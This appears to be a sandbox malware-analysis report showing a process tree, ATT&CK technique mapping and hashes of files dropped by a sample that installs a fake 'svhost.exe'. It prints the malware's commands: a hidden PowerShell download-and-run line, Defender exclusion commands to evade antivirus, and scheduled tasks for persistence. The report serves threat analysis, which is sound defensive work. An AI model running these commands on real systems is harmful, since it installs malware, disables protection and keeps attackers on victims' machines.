C:\Users\Admin\AppData\Local\Temp\nya0z1nb.3yc.exe"C:\Users\Admin\AppData\Local\Temp\nya0z1nb.3yc.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3760
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C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "Masonsvhost.exe" /tr "'C:\Windows\svhost.exe'" /sc onlogon /rl HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
PID:4652
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C:\Windows\system32\SCHTASKS.exe"SCHTASKS.exe" /create /tn "Masonsvhost.exe" /tr "'C:\Windows\svhost.exe'" /sc onlogon /rl HIGHEST3⤵
- Scheduled Task/Job: Scheduled Task
PID:1312 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:5952
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr '-' -OutFile $env:TEMP\MasonKit.com; Start-Process -WindowStyle Hidden $env:TEMP\MasonKit.com"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4908 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
- Suspicious use of SetWindowsHookEx
PID:4888
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "svhost" /tr "C:\Users\Admin\AppData\Roaming\svhost.exe"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1224 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵
- Suspicious use of SetWindowsHookEx
PID:2460
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /delete /f /tn "svhost"3⤵PID:5084
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpF529.tmp.bat""3⤵
- Executes a command shell one-liner
PID:4176
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService1⤵PID:1196
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1256
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1304
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1464
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1476
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1488
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:440
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1516
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1620
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1664
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1680
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1764
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1824
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1844
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1864
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1876
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1936
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1944
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1408
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2116
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:2388
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2532
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:2580
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2624
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2632
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵PID:2692
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2740
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2792
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2800
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:3116
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:3188
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3352
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:3372 -
C:\Users\Admin\AppData\Local\Temp\Bypassed.exe"C:\Users\Admin\AppData\Local\Temp\Bypassed.exe"2⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2764 -
C:\Users\Admin\AppData\Local\Temp\c96d3f9c-fbf9-4ae6-bd28-46310c0d55eb.exe"C:\Users\Admin\AppData\Local\Temp\c96d3f9c-fbf9-4ae6-bd28-46310c0d55eb.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2032 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\svhost.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4880
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svhost.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3308
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3544
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3816
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4028
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:2164
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵PID:4980
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:5020
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:2136
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:5028
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:2176
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:2512
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵PID:1148
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
- Modifies data under HKEY_USERS
PID:4000
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3808
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C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe" -ServerName:InputApp.AppXk0k6mrh4r2q0ct33a9wgbez0x7v9cz5y.mca1⤵PID:1084
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:4248
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵PID:3316
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C:\Windows\svhost.exeC:\Windows\svhost.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1316
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C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe a746c1ec4d9a40bf0dba73a922ceedf0 TxH3BY9Wq0OfZcloMVqEzQ.0.1.0.0.01⤵
- Sets service image path in registry
PID:2472 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV12⤵PID:5980
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵PID:3156
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Enumerates system info in registry
PID:3528
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵PID:6140
-
C:\Windows\servicing\TrustedInstaller.exeC:\Windows\servicing\TrustedInstaller.exe1⤵PID:1032
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
PID:1800
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
- Suspicious use of SetWindowsHookEx
PID:5884
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
- Suspicious use of SetWindowsHookEx
PID:4832
-
C:\Windows\system32\UsoClient.exeC:\Windows\system32\usoclient.exe1⤵PID:1164
-
C:\Users\Admin\AppData\Roaming\svhost.exeC:\Users\Admin\AppData\Roaming\svhost.exe1⤵
- Executes dropped EXE
PID:752
-
C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:2556
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
- Path C:\ProgramData\Microsoft\Windows\OneSettings\config.json
- Size 7KB
- SHA256 6790aa10e7b288f470120372b75b32cd2d7462a52a4085d6001d881d8e52ad69
- MD5 263136324f03cd2d89cf1141307bcf5f
- SHA1 7c48209501cd9471853c1470804ae52e8c9b619a
- SHA512 fe248707833e1a405ed632e2652d51cb146f1f0b00955f44f5ebd1ec39a5395b61699692c29ff239e5e569e642a7f6cba38ca56db14a205cdd06c5d6d0c32202
- SSDEEP 192:nGDCctwduMgRXUhWwpoTQ/eKIO2CE4cA1RdrPLjT:nG5tuuMgRXUhWwpoTQ/eKL2tXWRVPLjT
- TLSH T14BF1960DB184C87E9FAF21D6644AB941CA687B27ADC44CE8E5C28D1DD45FB4C711CBE8
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 3KB
- SHA256 283fcf5700ba5ca59b6a7e248b8e862fc2423e28223f65e263cd7170c436db4d
- MD5 d5a77e3bdf90e47a723bb30167c8aee0
- SHA1 5640b022b555452a2324cb2fa20a680d529fe66e
- SHA512 0f4115d6a0359859662953f95f0f750e5958d8f3d7dc5c102e361ae1957383f9630b4fb24afba3199cd045ffdb68cdb4d809af087f138a9f05896f2d052c4aa5
- TLSH T16E71CD323375B0D4C9567F07192C19C063BF4396EA98AF5CB65C521ED92750B9B222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\svhost.exe.log
- Size 1KB
- SHA256 c91fa1a4668b73823007f1bd6b855b3fa48b3c8a1309aa3a13453546e2c47253
- MD5 ec6c26ce2d6935f5117f8091bb7c4e5a
- SHA1 3c96b9509cbde39465909e8975c498d4b3654725
- SHA512 f19b8396f26575b3b640b1f4f4c69072aa5ed104f57dba0abb8cb887a8a271768377a625e3702ee50f40cec3a1b6164ed4fdab251f62189b2bf7459b80902c5f
- TLSH T186219D7032BAE1D889123F411C6D69C413AF8766B690AE1C7AA8535EDD260275F313F7
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 d89bb2dec93a4df1dcbc075a27147421f89ca48d58b04c5c23cc7b734943c0d0
- MD5 12878a92ff6500e4e5ba3d81af066947
- SHA1 a9f51c35a38d52a3ea32727a155f80603b3f3a18
- SHA512 34a97cdee04b132501930e10613f643dbbf715389e7937f7aa1e292969be7ce7937f4dcbcafc6c96172351779eab145375faf3d464f0121d6fa66c2c918fd2e9
- TLSH T189217327B3EDC951CC99523B108C8D6036B2D7C7809E8F9B2EC4C218A07F689CB20190
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 fa4e6f767553ef69f2e71cf16c66a377f176b5479aa6ae6d7dc718463f7e302d
- MD5 ffcb7af60c50ad97e51b4648723b3dc6
- SHA1 53912c3d3078de07881da117d2af23e842aecb88
- SHA512 edd7858bcb536d3e7e3afcf42b15b58e365afba5f1ef047791959d28419efbd75baf5f4447d77d04908eff911ff54a29a516eb7a0a7ffe91e51b485b420eca5e
- TLSH T176217627B3EDC910CC89523B109C9DA076B2D7C780DECF9B2EC4C218907F688CB21190
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jnsdn1rl.hp1.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\c96d3f9c-fbf9-4ae6-bd28-46310c0d55eb.exe
- Size 739KB
- SHA256 1f8e2bf3e9f155c1031512faaf5cb9ed520cb8c147c734cf2b3f40e7ad2aef22
- MD5 660385dfc222656835d2ad86f5372c35
- SHA1 5933649087787a3aeb516e5c9994aac02c12db61
- SHA512 84d34ab15d21ae6d8bfde93467df9f49b3319b9571abd92f744eb1040ddf64660edc05f8889ff9a8e048874d2fa4b2a04c2dcbd00eb6bdea6f24277229861065
- SSDEEP 6144:bXsQzijj1U1NMvQv/WkqSJHSX2TTaHHHW4Y1mcfMM89CBAP3FNQ9Qu:bXsQzijI2GtaHHHEf9DkkQu
- TLSH T1E8F46B403FA4D45BEA6A06B4A47456305B64AD171C1ED69BF8C43AEDDF33381EC2226F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\nya0z1nb.3yc.exe
- Size 161KB
- SHA256 879cc20b41635709bb304e315aaa5ca4708b480a1bfc2f4935fcf2215188efb0
- MD5 94f1ab3a068f83b32639579ec9c5d025
- SHA1 38f3d5bc5de46feb8de093d11329766b8e2054ae
- SHA512 44d5236a804d63302b21ca25ebc148a64605508d03c990a244c44ceb8630849da0510b7b2d0bee72e01ca6681e2d86d7e6aee8847674a26f0028d149b9abee0c
- SSDEEP 3072:hLD8KbgVtn8Mo8G1gVziHzZbIK1YKB/pCAcNqXhwBV3yxSQig8xN:h/5bTgVziHzZnSKrCbYM
- TLSH T10BF33C07BAA500F7E976823585739E17B7B2F42503209BBF0B654A6E0FA37906D3DB50
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
- Size 2KB
- SHA256 7df73f71214cdd2f2d477d6c2c65f6e4c2f5955fc669cde9c583b0ff9553ecdc
- MD5 4ac1741ceb19f5a983079b2c5f344f5d
- SHA1 f1ebd93fbade2e035cd59e970787b8042cdd0f3b
- SHA512 583706069a7c0b22926fa22fc7bedcca9d6750d1542a1125b688fbb0595baf6cefc76e7b6e49c1415c782a21d0dd504c78fa36efad5f29f2fd5d69cc45ad8dcd
- TLSH T18451585367EE1108F2F35A2CAEB720218EA77D465D39C46D00AC240DCBF7E2289617B7
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
- Size 2KB
- SHA256 8ad3d28aeff847bc5fb8035cbc7c71e88a4ee547821a8e1a3ea6661ee6014b21
- MD5 a9124c4c97cba8a07a8204fac1696c8e
- SHA1 1f27d80280e03762c7b16781608786f5a98ff434
- SHA512 537caaa75ac1e257c6b247f9680c3b9e79156ea1bcb3f1326e969a774db33b3c906800813ca6f79369c799a62f4260c91c6dd9a6cace3af25b7dbea5a73e0392
- TLSH T1BB51585367EE1108F2F35A2CAEB720218EA77D465D39C46D00AC240DCBF7E2289617B7
- MD5 SHA1 SHA512 TLSH